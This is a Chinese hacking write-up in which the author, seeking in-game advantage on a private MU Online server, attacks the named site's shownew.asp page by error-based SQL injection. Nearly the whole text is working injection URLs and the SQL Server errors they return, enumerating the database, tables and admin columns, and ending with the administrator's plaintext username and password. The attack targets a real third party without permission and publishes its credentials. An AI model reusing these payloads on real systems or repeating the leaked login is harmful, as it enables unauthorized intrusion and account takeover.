近来无聊,好上玩奇迹SF,对这东西没什么研究,打得不好,又想好装备,那就得一个方法了,搞定服务器!现在的目标就是http://www.mu1st.com/ 看了下整站,是ASP写的,感觉ASP的问题比较多,研究下,
http://www.mu1st.com/shownew.asp?id=76&61200969=1917469296 看见这么一个地址,感觉有问题,就在末端提交了一个单引号,。。。。返回正常页面。。。没戏哦,但就是感觉有问题,于是在id=76后面提交了一个单引号,返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
/shownew.asp,行30
一看,典型的SQL注入,这个可以判断是SQL的数据库,废话,SF一般都是SQL的不是SQL怎么更新数据哦。
现在试探数据库名字。。。
http://www.mu1st.com/shownew.asp?id=76%20and%20user>0&61207360=1917469296
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'mudb' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
那当前用户的名字为 mudb 权限是普通的DB_OWNER,
http://www.mu1st.com/shownew.asp?id=76%20and%20db_name()>0&61209518=1917469296
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'mu1stnews' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
当前发数据库名字为:mu1stnews
http://www.mu1st.com/shownew.asp?id=76%20and%20(select%20top%201%20name%20from%20mu1stnews.dbo.sysobjects%20where%20xtype='U'%20and%20status>0)>0&61208248=1917469296
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'visiter' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
现在就猜出第一个表:visiter 好继续猜下面的,
http://www.mu1st.com/shownew.asp?id=76and%20(select%20top%201%20name%20from%20mu1stnews.dbo.sysobjects%20where%20xtype='U'%20and%20status>0%20and%20name%20not%20in('visiter'))>0&61180014=1917469296
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Aclass' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
现在就知道第二个表是:Aclass 继续
http://www.mu1st.com/shownew.asp?id=76and%20(select%20top%201%20name%20from%20mu1stnews.dbo.sysobjects%20where%20xtype='U'%20and%20status>0%20and%20name%20not%20in('Aclass'))>0&61181625=1917469296
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'admin' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
呵呵,看见admin表了,没必要继续猜表了哦,那猜字段名咯,
http://www.mu1st.com/shownew.asp?id=76%20and%20(select%20top%201%20col_name(object_id('admin'),1)%20from%20admin)>0&61178414=1917469296
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'id' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
这样得到第一个字段名:id,现在继续下去
http://www.mu1st.com/shownew.asp?id=76%20and%20(select%20top%201%20col_name(object_id('admin'),2)%20from%20admin)>0&61178816=1917469296
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'username' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
得第二个字段名:username,还继续,
http://www.mu1st.com/shownew.asp?id=76%20and%20(select%20top%201%20col_name(object_id('admin'),3)%20from%20admin)>0&61178334=1917469296
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'password' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
得第三个字段名:password,好,继续猜结果,
http://www.mu1st.com/shownew.asp?id=76%20and%20(select%20top%201%20username%20%20from%20admin)>0&61178953=1917469296
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'topuncle' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
用户名就是topuncle了哦,现在看密码,
http://www.mu1st.com/shownew.asp?id=76%20and%20(select%20top%201%20password%20%20from%20admin)>0&61179382=1917469296
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'killu571' 转换为数据类型为 int 的列时发生语法错误。
/shownew.asp,行30
哈哈!密码明文显示的:killu571 就是密码了哦!
现在知道用户名是topuncle密码是killu571
剩下的搞网站的登陆处了,随便找找,其他的没必要说了哦!
这就是一次手工的简单的插入注入,用工具显然是看不出来的!